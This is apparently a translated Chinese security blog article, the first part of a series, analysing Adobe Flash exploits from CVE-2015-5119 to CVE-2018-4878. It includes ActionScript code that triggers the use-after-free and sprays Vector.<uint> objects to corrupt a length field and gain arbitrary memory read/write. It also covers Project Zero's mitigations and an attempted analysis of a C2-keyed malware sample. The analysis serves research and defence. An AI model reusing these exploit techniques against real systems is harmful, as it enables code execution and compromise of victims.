Adobe Flash 漏洞利用分析:从CVE-2015-5119 到 CVE-2018-4878(上)

丝绸之路 嘶吼专业版

据报道,上周有一个漏洞被用来传播ROKRAT恶意软件。这个事情有趣的地方是,在一个似乎很久没有出现热点的时期之后,Flash正在被APT组使用。我们不禁想知道这其中发生了些什么变化,以及这种最新的漏洞是如何工作的。

在这篇文章中,我们将介绍传统的Flash漏洞利用,并着眼于了解这个最新的示例是如何工作的并且是如何绕过Flash环境中引入的一些加固措施的。

我们先来看看在一些最新的Flash缓解中扮演着重要角色的漏洞,CVE-2015-5119(通常称为HackingTeam Flash 0day)。

CVE-2015-5119分析

早在2015年7月,Hacking Team就遭遇了一些数据泄露,其中一些内部电子邮件,应用程序源代码和漏洞被公开发布。漏洞中包含一个Exp,称为CVE-2015-5119,这是Flash 16中的一个远程代码执行漏洞。

该漏洞被归类为“ Use-After-Free ”,这意味着内存将被释放到Flash中供以后使用,而不会更新所有对象引用。我们来看看一个可以触发漏洞的快速示例:


public class VulnSimple
{
static var _ba :ByteArray;
prototype.valueOf = function() {
_ba.length = 0x1000;
}
public static function TryExpl() :Boolean {
_ba = new ByteArray();
_ba.length = 0xfa0;
_ba[0] = new VulnSimple();
// here, 
_ba is pointing to free’d memory
return false;
}
}

编译这个ActionScript代码,并使用Flash版本16.0.0.287执行SWF,我们发现_ba ByteArray最终指向了free'd内存。

如果我们回顾Flash的源代码,我们可以了解是什么导致了这个缺陷。首先,我们有一个长度为0xfa0的ByteArray,我们将其分配给一个对象。如果我们查看相应的源代码,我们看到“ ByteArrayObject :: setUintProperty ”负责处理这个任务:



void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
    m_byteArray[i] = uint8_t(AvmCore::integer(value));
}

在这里我们可以看到,在我们的例子中是一个对象引用的“ value ”参数被传递给检查类型的“ AvmCore :: integer ”函数:


/*static*/ int32_t AvmCore::integer(Atom atom) 
{ 
const int kind = atomKind(atom); if (kind == kIntptrType) 
{ 
… 
} 
else if (kind == kBooleanType) 
{
 … 
} 
else 
{ // TODO optimize the code below. 
return (int32_t)integer_d(number(atom)); 
} 
}

然后我们的参数被传递给“number”方法:


/*static*/ double AvmCore::number(Atom atom) 
{ 
for (;;)
 {
 const int kind = atomKind(atom); … // all other cases are relatively rare switch (kind) 
{ 
… 
case kObjectType: 
atom = AvmCore::atomToScriptObject(atom)->defaultValue(); 
break; // continue loop, effectively a tailcall 
} 
} 
//AvmAssert(0); 
// can’t get here //return 0.0; 
}

在这里,我们看到我们的对象被传递给“ AvmCore :: atomToScriptObject ”,它将该值转换回了“ ScriptObject ”:


REALLY_INLINE /*static*/ ScriptObject* AvmCore::atomToScriptObject(const Atom atom) 
{ 
AvmAssert(atomKind(atom)==kObjectType); 
return (ScriptObject*)atomPtr(atom); 
}

最后,调用我们的“valueOf”属性:



Atom ScriptObject::defaultValue()
 { 
AvmCore *core = this->core(); 
Toplevel* toplevel = this->toplevel(); 
Atom atomv_out[1]; 
// call this.valueOf() 
// NOTE use callers versioned public to get correct valueOf Multiname tempname(core->findPublicNamespace(), core->kvalueOf); atomv_out[0] = atom(); 
Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);
 … 
}

在“ valueOf ”函数中,我们强制重新分配ByteArray,但Flash指针“ m_byteArray ”永远不会更新,这意味着在调用“ valueOf ”并重新分配内存后,“ m_byteArray ”变成悬挂指针。

通过Vector<uint>利用CVE-2015-5119

现在我们了解了这个漏洞,让我们来看看它是如何被利用的。

在利用Flash中的这种缺陷时,我们希望用一个对象来填充free'd内存,这将允许我们控制执行或修改内存......。输入Vector.<uint>一个矢量对象是相当简单的,做如下的初始化:

var v :Vector.<uint> = new Vector.<uint>(20);

初始化时,对象将包含以下内存布局:

[LEN] [METADATA_PTR] [uint 1] [uint 2] [uint 3] [uint X] …

可以在ActionScript中使用以下方法检索Vector.<uint>的长度:

v.length

该矢量的内容通过以下方式检索:

v[0]

现在,如果我们能够破坏“Lenght ”属性,我们发现我们有一个相当强大的R / W原语。例如,如果我们用0xFFFFFFFF填充“ Length ”属性的内存,我们可以处理任意内存。

让我们更新漏洞利用来展示这一点。


public function exploit() { 
var a :Array; 
var o :Object = new Object(); 
var ba :ByteArray = new ByteArray(); 
ba.length = 0xfa0; 
o.valueOf = function() { 
ba.length = 0x11000; 
a = new Array(90); 
for (var i:int; i < 90; i++) { 
a[i] = new Vector.<uint>(0x3f0); 
} 
return 0x40; 
} 
ba[3] = o;
 for (var i = 0; i < 90; i++) { 
if (a[i].length != 0x3f0) { 
AddToLog(“Modified Vector at Array Offset ” + i); 
AddToLog(“Modified Vector length ” + a[i].length.toString(16));
 }
 }
 }

在这里,我们看到采取了以下步骤:

  1. 一个新的ByteArray(ba)被创建并分配了一个0xfa0的长度。

  2. 值被分配给ByteArray的偏移量3 ,这会导致调用“ valueOf ”方法。

  3. “ valueOf ”方法更改了ByteArray的大小,强制重新分配内存,但将“ ba ”指向原始分配。

  4. 大量的<uint>被创建为大小为0x3f0,目的是迫使之前的ByteArray内存现在指向一个Vector.<UINT>

  5. 返回 0x40,导致“ ba ”指针(现在指向一个 <uint>)将 “ length ”属性更新为0x40003F0。

  6. 通过检查任何不是原始0x3f0字节的“ length ”属性,在内存中找到损坏的<uint>。

这导致了任意读/写内存的能力,使用户能够编写shellcode并强制执行。

Google Project Zero缓解措施

在2015年7月16日发布的一篇帖子中,Google Project Zero引用了HackingTeam的漏洞,并宣布他们已经与Adobe合作推出了一些强化Flash的方法。完整的文章可以在这里找到,其中介绍了3种这样的强化方法:

  1. 更强的Flash堆的随机化

  2. <uint>缓冲区堆分区

  3. *长度验证

在这三种缓解措施中,我们看到上述缓解措施中有两种缓解方法是针对破坏Vector.<uint> 长度属性的技术。首先,向量被移动到一个单独的内存区域,与任何可能允许篡改“ 长度 ”属性的潜在溢出隔离。其次,在Vector对象中引入了一些检查,以确保如果“ length ”属性被破坏,运行时将检测到这种损坏并暂停执行。

这种长度验证方法是作为XOR键实现的。与stack-canaries类似,来自Vector对象的许多有吸引力的属性与一个键进行异或,并存储结果值,允许简单的方式检测损坏的值。

分析 TEMP.Reaper漏洞利用

缓解措施出台后,事情似乎平静下来。然后,一个新的漏洞浮出水面,CVE-2018-4878。

该漏洞的细节保持安静,与许多安全研究人员一样,我们抓取了一个恶意软件的副本,并开始对样本进行逆向工程。

获取SWF文件的副本并进行反汇编,我们发现在加载SWF时,会向C2服务器发出请求:

该响应包含一个密钥,该密钥允许解密嵌入的SWF Exp:

不幸的是,到这里,分析工作停止了。我们分析的所有样本包含了不可再访问的C2服务器,这意味着我们无法恢复100字节的XOR解密密钥来分析漏洞利用。此外,那些幸运地拥有解密密钥的人不太愿意与他人分享,这意味着我们所能做的只是等到细节披露。

缓慢的细节开始变得可用,以编辑,部分屏幕截图和关注该缺陷的博文的形式出现,但都没有出现获得R/W原语的路径。经过几个深夜的分析之后,我们已经能够重新创建漏洞并了解绕过引入的缓解措施。